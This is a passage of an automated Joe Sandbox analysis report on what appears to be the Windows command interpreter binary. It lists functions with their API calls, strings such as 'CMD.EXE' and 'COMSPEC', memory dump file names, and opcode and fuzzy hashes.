Instruction ID: 6f25b35970ab9f552a83017e9f4746e2316982a78b5d77e36edba95d7b75a93a
Opcode Fuzzy Hash: 2d0f60311dbb7cb4575a21d0706b761dc6d692f27382b916cf53a40b82970273
Instruction Fuzzy Hash: C4C18D61A0C64291EB6CBF19D4442B9E6B1EF89B90F44A135D93E862F7DF7CE845C700

Function 00007FF64B567AA0 Relevance: 15.2, APIs: 10, Instructions: 221
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCRT ref: 00007FF64B567B13
GetFullPathNameW.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF64B567B5F
CreateDirectoryW.KERNELBASE ref: 00007FF64B567B83
free.MSVCRT ref: 00007FF64B567BA9

Part of subcall function 00007FF64B57291C: GetDriveTypeW.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF64B57294A

Memory Dump Source

Source File: 00000008.00000002.1265026062.00007FF64B561000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF64B560000, based on PE: true

Associated: 00000008.00000002.1265012192.00007FF64B560000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265049668.00007FF64B592000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265065661.00007FF64B59D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265065661.00007FF64B5AF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265122342.00007FF64B5B9000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff64b560000_alpha.jbxd

Similarity

API ID: CreateDirectoryDriveFullNamePathTypefreememset
String ID:
API String ID: 1445986735-0
Opcode ID: 964aebb90721e81bfd08c07265eff513d24d8c56c735c939700b0a9033b58433
Instruction ID: dfe796a7224a55dadb936a50033af0205a38a17636acaeb1b9555550b087068a
Opcode Fuzzy Hash: 964aebb90721e81bfd08c07265eff513d24d8c56c735c939700b0a9033b58433
Instruction Fuzzy Hash: F7918166B0CA82C6EB69BF11D4402B9B3A1FB8CB84F44D135DA5E877A6EF7CD5418700

Function 00007FF64B578D80 Relevance: 9.1, APIs: 6, Instructions: 95
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.API-MS-WIN-CORE-SYNCH-L1-2-0 ref: 00007FF64B578DC4
_amsg_exit.MSVCRT ref: 00007FF64B578DE0
_initterm.MSVCRT ref: 00007FF64B578E64
_IsNonwritableInCurrentImage.LIBCMT ref: 00007FF64B578E91
exit.MSVCRT ref: 00007FF64B578EDE
_cexit.MSVCRT ref: 00007FF64B578EED

Memory Dump Source

Source File: 00000008.00000002.1265026062.00007FF64B561000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF64B560000, based on PE: true

Associated: 00000008.00000002.1265012192.00007FF64B560000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265049668.00007FF64B592000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265065661.00007FF64B59D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265065661.00007FF64B5AF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265122342.00007FF64B5B9000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff64b560000_alpha.jbxd

Similarity

API ID: CurrentImageNonwritableSleep_amsg_exit_cexit_inittermexit
String ID:
API String ID: 4291973834-0
Opcode ID: 1c7d4f9672c25dc89753b58092f3baa3c71a1f277e4bfd9c8df4ae4aed7312e4
Instruction ID: 7c0576e15de42dd32e6ae849aff47f843cbcdf3579b6690a3ffaa088ad9253a8
Opcode Fuzzy Hash: 1c7d4f9672c25dc89753b58092f3baa3c71a1f277e4bfd9c8df4ae4aed7312e4
Instruction Fuzzy Hash: 8041D3B1A1C602C6FB98BF16E940679A2A1AF5C394F048435DA2DC76F3DFBCE8449740

Function 00007FF64B574A14 Relevance: 7.5, APIs: 5, Instructions: 49
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetEnvironmentStringsW.KERNELBASE(?,?,00000000,00007FF64B5749F1), ref: 00007FF64B574A28
GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,00000000,00007FF64B5749F1), ref: 00007FF64B574A66
HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,00000000,00007FF64B5749F1), ref: 00007FF64B574A7D
memmove.MSVCRT(?,?,00000000,00007FF64B5749F1), ref: 00007FF64B574A9A
FreeEnvironmentStringsW.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0(?,?,00000000,00007FF64B5749F1), ref: 00007FF64B574AA2

Memory Dump Source

Source File: 00000008.00000002.1265026062.00007FF64B561000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF64B560000, based on PE: true

Associated: 00000008.00000002.1265012192.00007FF64B560000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265049668.00007FF64B592000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265065661.00007FF64B59D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265065661.00007FF64B5AF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265122342.00007FF64B5B9000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff64b560000_alpha.jbxd

Similarity

API ID: EnvironmentHeapStrings$AllocFreeProcessmemmove
String ID:
API String ID: 1623332820-0
Opcode ID: bedbd02b2e83685aab04dae624747bec3d3f04209153fba6c5d2bef1ca8d2a3e
Instruction ID: ee888ef23611edfdaba9e9c98d382d7e10deaefa0589f02c0e1ff1ea224c4144
Opcode Fuzzy Hash: bedbd02b2e83685aab04dae624747bec3d3f04209153fba6c5d2bef1ca8d2a3e
Instruction Fuzzy Hash: B1118F22B19742C2DA14BF0AE41403DFBA1EB8DF80F599034DE5E43765DE7DE8418740

Function 00007FF64B56CA40 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 45
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCRT ref: 00007FF64B56CAB3
??_V@YAXPEAX@Z.MSVCRT ref: 00007FF64B57C706

Strings

onecore\base\cmd\maxpathawarestring.cpp, xrefs: 00007FF64B57C6E5

Memory Dump Source

Source File: 00000008.00000002.1265026062.00007FF64B561000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF64B560000, based on PE: true

Associated: 00000008.00000002.1265012192.00007FF64B560000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265049668.00007FF64B592000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265065661.00007FF64B59D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265065661.00007FF64B5AF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265122342.00007FF64B5B9000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff64b560000_alpha.jbxd

Similarity

API ID: memset
String ID: onecore\base\cmd\maxpathawarestring.cpp
API String ID: 2221118986-3416068913
Opcode ID: 6a4e720990391e2bb656b5b6d9cefd15da5558a473930315f543f8d448153d3d
Instruction ID: cc909b70a3735d51900029f97ee55888ad114a0d50ef9ae4931ace2c2d2265aa
Opcode Fuzzy Hash: 6a4e720990391e2bb656b5b6d9cefd15da5558a473930315f543f8d448153d3d
Instruction Fuzzy Hash: 78117061B0D64281EB58FF55E1542B9A2A09F8CBA4F189231DA7DCA7F7DE6CD4818340

Function 00007FF64B56BE00 Relevance: 4.6, APIs: 1, Strings: 2, Instructions: 120
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCRT ref: 00007FF64B56BE52

Part of subcall function 00007FF64B56BFF0: wcschr.MSVCRT ref: 00007FF64B56C03E

Strings

COMSPEC, xrefs: 00007FF64B56BFC7
2, xrefs: 00007FF64B56BF20

Memory Dump Source

Source File: 00000008.00000002.1265026062.00007FF64B561000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF64B560000, based on PE: true

Associated: 00000008.00000002.1265012192.00007FF64B560000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265049668.00007FF64B592000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265065661.00007FF64B59D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265065661.00007FF64B5AF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265122342.00007FF64B5B9000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff64b560000_alpha.jbxd

Similarity

API ID: memsetwcschr
String ID: 2$COMSPEC
API String ID: 1764819092-1738800741
Opcode ID: 67b7d9532635b88408f7fdf8ce2ffd15aa8064fbcc0e84cfd1dfe15bdfd98c80
Instruction ID: 403f56c7104691c01b4ae6be0d48f1bf0b9efe0d77176b30079a893788e38f05
Opcode Fuzzy Hash: 67b7d9532635b88408f7fdf8ce2ffd15aa8064fbcc0e84cfd1dfe15bdfd98c80
Instruction Fuzzy Hash: 65513A61A0C68285FB6CBF25E452379E395AF4DB84F086031DA2DC66F7EE6CE8448741

Function 00007FF64B579A6C Relevance: 3.0, APIs: 2, Instructions: 34COMMON

Download Yara Rule

APIs

malloc.MSVCRT ref: 00007FF64B579A86
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF64B579A97

Memory Dump Source

Source File: 00000008.00000002.1265026062.00007FF64B561000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF64B560000, based on PE: true

Associated: 00000008.00000002.1265012192.00007FF64B560000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265049668.00007FF64B592000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265065661.00007FF64B59D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265065661.00007FF64B5AF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265122342.00007FF64B5B9000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff64b560000_alpha.jbxd

Similarity

API ID: Concurrency::cancel_current_taskmalloc
String ID:
API String ID: 1412018758-0
Opcode ID: 738c8df77e10b4e497db5d3a2d7ddec6b27d778605f8f6b2fdfcc597a874d2dd
Instruction ID: bfefa1f4b0c8a8d093acebd9bc8dce44ffca76e82f92462025d27929dc6b166a
Opcode Fuzzy Hash: 738c8df77e10b4e497db5d3a2d7ddec6b27d778605f8f6b2fdfcc597a874d2dd
Instruction Fuzzy Hash: 3AE06D40F0E707A2FE1C3F62E84507892405F2CB40E185430DD3E853A3EE6CA0918360

Function 00007FF64B574C1C Relevance: 1.5, APIs: 1, Instructions: 29COMMON

Download Yara Rule

APIs

exit.KERNELBASE ref: 00007FF64B574C31

Memory Dump Source

Source File: 00000008.00000002.1265026062.00007FF64B561000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF64B560000, based on PE: true

Associated: 00000008.00000002.1265012192.00007FF64B560000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265049668.00007FF64B592000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265065661.00007FF64B59D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265065661.00007FF64B5AF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265122342.00007FF64B5B9000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff64b560000_alpha.jbxd

Similarity

API ID: exit
String ID:
API String ID: 2483651598-0
Opcode ID: 9ddfc09aa9d90f0088fd16abda3ebe38fb5bbbe8bdae055d7e84e31eac367ca0
Instruction ID: 7e57ec802e6422eb2df5b032cd6f478fa9015b78e494c84a58ad7bf9c1cd59c1
Opcode Fuzzy Hash: 9ddfc09aa9d90f0088fd16abda3ebe38fb5bbbe8bdae055d7e84e31eac367ca0
Instruction Fuzzy Hash: 29C0803070C646C7FB1C7F31A45903DD5595F0C301F04943CC627C52A3DE6CD4048200

Function 00007FF64B575508 Relevance: 1.5, APIs: 1, Instructions: 17COMMON

Download Yara Rule

APIs

GetUserDefaultLangID.KERNELBASE(?,?,?,?,00007FF64B566F97), ref: 00007FF64B57550C

Memory Dump Source

Source File: 00000008.00000002.1265026062.00007FF64B561000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF64B560000, based on PE: true

Associated: 00000008.00000002.1265012192.00007FF64B560000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265049668.00007FF64B592000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265065661.00007FF64B59D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265065661.00007FF64B5AF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265122342.00007FF64B5B9000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff64b560000_alpha.jbxd

Similarity

API ID: DefaultLangUser
String ID:
API String ID: 768647712-0
Opcode ID: 5d8fc4fa8e665926eb49570ec356dc21582dec5ebc006b351cd7b5a4e2c943bd
Instruction ID: adb0f2e92a9a3c1d42dead8ee2d59345bb493b585524c96445e2362b2405c266
Opcode Fuzzy Hash: 5d8fc4fa8e665926eb49570ec356dc21582dec5ebc006b351cd7b5a4e2c943bd
Instruction Fuzzy Hash: CBE0C2A2E0D2538AF59C3F41F0413B89953CB6C782FC48031CB2D812E24D2D28425208

Function 00007FF64B572E44 Relevance: 1.3, APIs: 1, Instructions: 29COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00007FF64B572E8B

Memory Dump Source

Source File: 00000008.00000002.1265026062.00007FF64B561000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF64B560000, based on PE: true

Associated: 00000008.00000002.1265012192.00007FF64B560000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265049668.00007FF64B592000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265065661.00007FF64B59D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265065661.00007FF64B5AF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265122342.00007FF64B5B9000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff64b560000_alpha.jbxd

Similarity

API ID: memset
String ID:
API String ID: 2221118986-0
Opcode ID: f77ccc38f2f42b08cf4ed255524ec50c837bf5ddba9254f495b6a2bfe7d154bb
Instruction ID: c361bb5ba58876f4285f69f1549c26679fbd15f56e51f4a694088374a3f79175
Opcode Fuzzy Hash: f77ccc38f2f42b08cf4ed255524ec50c837bf5ddba9254f495b6a2bfe7d154bb
Instruction Fuzzy Hash: CBF0B421B0D78140EE58BB56F54012992919B8CBE0F08C330EE7C87BE6DE7CD4528700

Non-executed Functions

Function 00007FF64B587F00 Relevance: 61.6, APIs: 28, Strings: 7, Instructions: 341memoryCOMMON

Download Yara Rule

APIs

GetStdHandle.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0(?,?,?,?,?,?,?,?,00000000,00000000,0000237B,00000000,00000002,00002328,00000001,0000000A), ref: 00007FF64B587F44
_get_osfhandle.MSVCRT ref: 00007FF64B587F5C
GetConsoleScreenBufferInfo.API-MS-WIN-CORE-CONSOLE-L2-1-0(?,?,?,?,?,?,?,?,00000000,00000000,0000237B,00000000,00000002,00002328,00000001,0000000A), ref: 00007FF64B587F9E
AcquireSRWLockShared.API-MS-WIN-CORE-SYNCH-L1-1-0(?,?,?,?,?,?,?,?,00000000,00000000,0000237B,00000000,00000002,00002328,00000001,0000000A), ref: 00007FF64B587FFF
ReadConsoleW.API-MS-WIN-CORE-CONSOLE-L1-1-0(?,?,?,?,?,?,?,?,00000000,00000000,0000237B,00000000,00000002,00002328,00000001,0000000A), ref: 00007FF64B588020
ReleaseSRWLockShared.API-MS-WIN-CORE-SYNCH-L1-1-0(?,?,?,?,?,?,?,?,00000000,00000000,0000237B,00000000,00000002,00002328,00000001,0000000A), ref: 00007FF64B588036
GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,?,?,?,?,?,?,00000000,00000000,0000237B,00000000,00000002,00002328,00000001,0000000A), ref: 00007FF64B588061
RtlFreeHeap.NTDLL(?,?,?,?,?,?,?,?,00000000,00000000,0000237B,00000000,00000002,00002328,00000001,0000000A), ref: 00007FF64B588075
GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,?,?,?,?,?,?,00000000,00000000,0000237B,00000000,00000002,00002328,00000001,0000000A), ref: 00007FF64B5880D6
RtlFreeHeap.NTDLL(?,?,?,?,?,?,?,?,00000000,00000000,0000237B,00000000,00000002,00002328,00000001,0000000A), ref: 00007FF64B5880EA
_wcsnicmp.MSVCRT ref: 00007FF64B588177
_wcsnicmp.MSVCRT ref: 00007FF64B58819A
_wcsnicmp.MSVCRT ref: 00007FF64B5881BD
_wcsnicmp.MSVCRT ref: 00007FF64B5881DC
_wcsnicmp.MSVCRT ref: 00007FF64B5881FB
_wcsnicmp.MSVCRT ref: 00007FF64B58821A
_wcsnicmp.MSVCRT ref: 00007FF64B588239
GetConsoleScreenBufferInfo.API-MS-WIN-CORE-CONSOLE-L2-1-0(?,?,?,?,?,?,?,?,00000000,00000000,0000237B,00000000,00000002,00002328,00000001,0000000A), ref: 00007FF64B588291
SetConsoleCursorPosition.API-MS-WIN-CORE-CONSOLE-L2-1-0(?,?,?,?,?,?,?,?,00000000,00000000,0000237B,00000000,00000002,00002328,00000001,0000000A), ref: 00007FF64B5882D7
FillConsoleOutputCharacterW.API-MS-WIN-CORE-CONSOLE-L2-1-0(?,?,?,?,?,?,?,?,00000000,00000000,0000237B,00000000,00000002,00002328,00000001,0000000A), ref: 00007FF64B5882FB
WriteConsoleW.API-MS-WIN-CORE-CONSOLE-L1-1-0(?,?,?,?,?,?,?,?,00000000,00000000,0000237B,00000000,00000002,00002328,00000001,0000000A), ref: 00007FF64B58831A
GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,?,?,?,?,?,?,00000000,00000000,0000237B,00000000,00000002,00002328,00000001,0000000A), ref: 00007FF64B588364
RtlFreeHeap.NTDLL(?,?,?,?,?,?,?,?,00000000,00000000,0000237B,00000000,00000002,00002328,00000001,0000000A), ref: 00007FF64B588378
GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,?,?,?,?,?,?,00000000,00000000,0000237B,00000000,00000002,00002328,00000001,0000000A), ref: 00007FF64B58839A
HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,?,?,?,?,?,?,00000000,00000000,0000237B,00000000,00000002,00002328,00000001,0000000A), ref: 00007FF64B5883AE
AcquireSRWLockShared.API-MS-WIN-CORE-SYNCH-L1-1-0(?,?,?,?,?,?,?,?,00000000,00000000,0000237B,00000000,00000002,00002328,00000001,0000000A), ref: 00007FF64B5883E6
ReadConsoleW.API-MS-WIN-CORE-CONSOLE-L1-1-0(?,?,?,?,?,?,?,?,00000000,00000000,0000237B,00000000,00000002,00002328,00000001,0000000A), ref: 00007FF64B588403
ReleaseSRWLockShared.API-MS-WIN-CORE-SYNCH-L1-1-0(?,?,?,?,?,?,?,?,00000000,00000000,0000237B,00000000,00000002,00002328,00000001,0000000A), ref: 00007FF64B588418

Strings

md , xrefs: 00007FF64B5881B6
cd , xrefs: 00007FF64B588170
rmdir , xrefs: 00007FF64B5881F4
pushd , xrefs: 00007FF64B588232
mkdir , xrefs: 00007FF64B588213
rd , xrefs: 00007FF64B588193
chdir , xrefs: 00007FF64B5881D5

Memory Dump Source

Source File: 00000008.00000002.1265026062.00007FF64B561000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF64B560000, based on PE: true

Associated: 00000008.00000002.1265012192.00007FF64B560000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265049668.00007FF64B592000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265065661.00007FF64B59D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265065661.00007FF64B5AF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265122342.00007FF64B5B9000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff64b560000_alpha.jbxd

Similarity

API ID: Heap$Console_wcsnicmp$LockProcessShared$Free$AcquireBufferInfoReadReleaseScreen$AllocCharacterCursorFillHandleOutputPositionWrite_get_osfhandle
String ID: cd $chdir $md $mkdir $pushd $rd $rmdir
API String ID: 3637805771-3100821235
Opcode ID: 850dcbeef8071bc1ba491ee474855cf363d50a31b10de6fe1cf39c68a2eba243
Instruction ID: 83a7e7f27ac188611b9aebc2f1b1e6f3ae2e835edcec355c415a0ec71417a2e2
Opcode Fuzzy Hash: 850dcbeef8071bc1ba491ee474855cf363d50a31b10de6fe1cf39c68a2eba243
Instruction Fuzzy Hash: 79E17C71A1CA52CAE718BF65E804179FAA1FB4DB95B449230CE2E937B6DF3CA414C700

Function 00007FF64B567650 Relevance: 42.5, APIs: 23, Strings: 1, Instructions: 461fileCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00007FF64B5676E5

Part of subcall function 00007FF64B56CA40: memset.MSVCRT ref: 00007FF64B56CAB3

_get_osfhandle.MSVCRT ref: 00007FF64B567745
GetFileSize.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF64B567759
_get_osfhandle.MSVCRT ref: 00007FF64B56776C
SetFilePointer.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF64B567783
_get_osfhandle.MSVCRT ref: 00007FF64B5677A3
ReadFile.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF64B5677C9
??_V@YAXPEAX@Z.MSVCRT ref: 00007FF64B567808
wcsrchr.MSVCRT ref: 00007FF64B5849BE
_wcsnicmp.MSVCRT ref: 00007FF64B584A02
SearchPathW.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0 ref: 00007FF64B584A81

Part of subcall function 00007FF64B5701B8: _get_osfhandle.MSVCRT ref: 00007FF64B5701C4
Part of subcall function 00007FF64B5701B8: GetFileType.API-MS-WIN-CORE-FILE-L1-1-0(?,?,?,00007FF64B57E904,?,?,?,?,00000000,00007FF64B573491,?,?,?,00007FF64B584420), ref: 00007FF64B5701D6

Strings

DPATH, xrefs: 00007FF64B58499A

Memory Dump Source

Source File: 00000008.00000002.1265026062.00007FF64B561000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF64B560000, based on PE: true

Associated: 00000008.00000002.1265012192.00007FF64B560000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265049668.00007FF64B592000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265065661.00007FF64B59D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265065661.00007FF64B5AF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265122342.00007FF64B5B9000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff64b560000_alpha.jbxd

Similarity

API ID: File_get_osfhandle$memset$PathPointerReadSearchSizeType_wcsnicmpwcsrchr
String ID: DPATH
API String ID: 95024817-2010427443
Opcode ID: 2dd73e123b097a23a112381bfb0238d2ff060e9a1d02d3e8a60a86283e7ef037
Instruction ID: 4de6f78255b210c9331bfb03ba7288cb6cbac465ebd0f62c11b3d2979a7742ad
Opcode Fuzzy Hash: 2dd73e123b097a23a112381bfb0238d2ff060e9a1d02d3e8a60a86283e7ef037
Instruction Fuzzy Hash: DA127F72A1C68286EB68BF15E440179FAA1FB8D754F445135EE6E977B6DF3CE8008B00

Function 00007FF64B565240 Relevance: 33.8, APIs: 14, Strings: 5, Instructions: 503COMMON

Download Yara Rule

Strings

[..], xrefs: 00007FF64B582FB5
[.], xrefs: 00007FF64B583128
:, xrefs: 00007FF64B583261
[...], xrefs: 00007FF64B583013
..., xrefs: 00007FF64B582C8C

Memory Dump Source

Source File: 00000008.00000002.1265026062.00007FF64B561000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF64B560000, based on PE: true

Associated: 00000008.00000002.1265012192.00007FF64B560000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265049668.00007FF64B592000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265065661.00007FF64B59D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265065661.00007FF64B5AF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265122342.00007FF64B5B9000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff64b560000_alpha.jbxd

Similarity

API ID:
String ID: [...]$ [..]$ [.]$...$:
API String ID: 0-1980097535
Opcode ID: 2219ec0c8753013161cecaed1cdda4e0f6f768acbcc792b3dd0f248377f952d2
Instruction ID: 849d28c83ed692dfa41bb31a3427872a920a04e22352d550ad91b84bbf1519b1
Opcode Fuzzy Hash: 2219ec0c8753013161cecaed1cdda4e0f6f768acbcc792b3dd0f248377f952d2
Instruction Fuzzy Hash: 8A329E72A1C78286EB68FF25E5402F9B7A0EB4D784F409135DA2D876A6DF3CE545C700

Function 00007FF64B58EE88 Relevance: 30.0, APIs: 15, Strings: 2, Instructions: 225COMMON

Download Yara Rule

APIs

_wcsupr.MSVCRT ref: 00007FF64B58EF33
LocalFree.API-MS-WIN-CORE-HEAP-L2-1-0(?,?,?,?,?,?,00000002,00000000,?,?,0000002F,00007FF64B58E964), ref: 00007FF64B58EF98
GetStdHandle.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0(?,?,?,?,?,?,00000002,00000000,?,?,0000002F,00007FF64B58E964), ref: 00007FF64B58EFA9
GetConsoleMode.API-MS-WIN-CORE-CONSOLE-L1-1-0(?,?,?,?,?,?,00000002,00000000,?,?,0000002F,00007FF64B58E964), ref: 00007FF64B58EFBF
SetConsoleMode.API-MS-WIN-CORE-CONSOLE-L1-1-0 ref: 00007FF64B58EFDC
GetStdHandle.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0(?,?,?,?,?,?,00000002,00000000,?,?,0000002F,00007FF64B58E964), ref: 00007FF64B58EFED
GetConsoleMode.API-MS-WIN-CORE-CONSOLE-L1-1-0(?,?,?,?,?,?,00000002,00000000,?,?,0000002F,00007FF64B58E964), ref: 00007FF64B58F003
SetConsoleMode.API-MS-WIN-CORE-CONSOLE-L1-1-0(?,?,?,?,?,?,00000002,00000000,?,?,0000002F,00007FF64B58E964), ref: 00007FF64B58F022
GetStdHandle.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0(?,?,?,?,?,?,00000002,00000000,?,?,0000002F,00007FF64B58E964), ref: 00007FF64B58F083
FlushConsoleInputBuffer.API-MS-WIN-CORE-CONSOLE-L2-1-0(?,?,?,?,?,?,00000002,00000000,?,?,0000002F,00007FF64B58E964), ref: 00007FF64B58F092
GetStdHandle.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0(?,?,?,?,?,?,00000002,00000000,?,?,0000002F,00007FF64B58E964), ref: 00007FF64B58F0A5
towupper.MSVCRT ref: 00007FF64B58F0DB
wcschr.MSVCRT ref: 00007FF64B58F135
SetConsoleMode.API-MS-WIN-CORE-CONSOLE-L1-1-0(?,?,?,?,?,?,00000002,00000000,?,?,0000002F,00007FF64B58E964), ref: 00007FF64B58F16C
SetConsoleMode.API-MS-WIN-CORE-CONSOLE-L1-1-0(?,?,?,?,?,?,00000002,00000000,?,?,0000002F,00007FF64B58E964), ref: 00007FF64B58F185

Part of subcall function 00007FF64B5701B8: _get_osfhandle.MSVCRT ref: 00007FF64B5701C4
Part of subcall function 00007FF64B5701B8: GetFileType.API-MS-WIN-CORE-FILE-L1-1-0(?,?,?,00007FF64B57E904,?,?,?,?,00000000,00007FF64B573491,?,?,?,00007FF64B584420), ref: 00007FF64B5701D6

Strings

CMD.EXE, xrefs: 00007FF64B58F19D
<noalias>, xrefs: 00007FF64B58F03C

Memory Dump Source

Source File: 00000008.00000002.1265026062.00007FF64B561000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF64B560000, based on PE: true

Associated: 00000008.00000002.1265012192.00007FF64B560000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265049668.00007FF64B592000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265065661.00007FF64B59D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265065661.00007FF64B5AF000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.1265122342.00007FF64B5B9000.00000002.00000001.01000000.00000007.sdmpDownload File

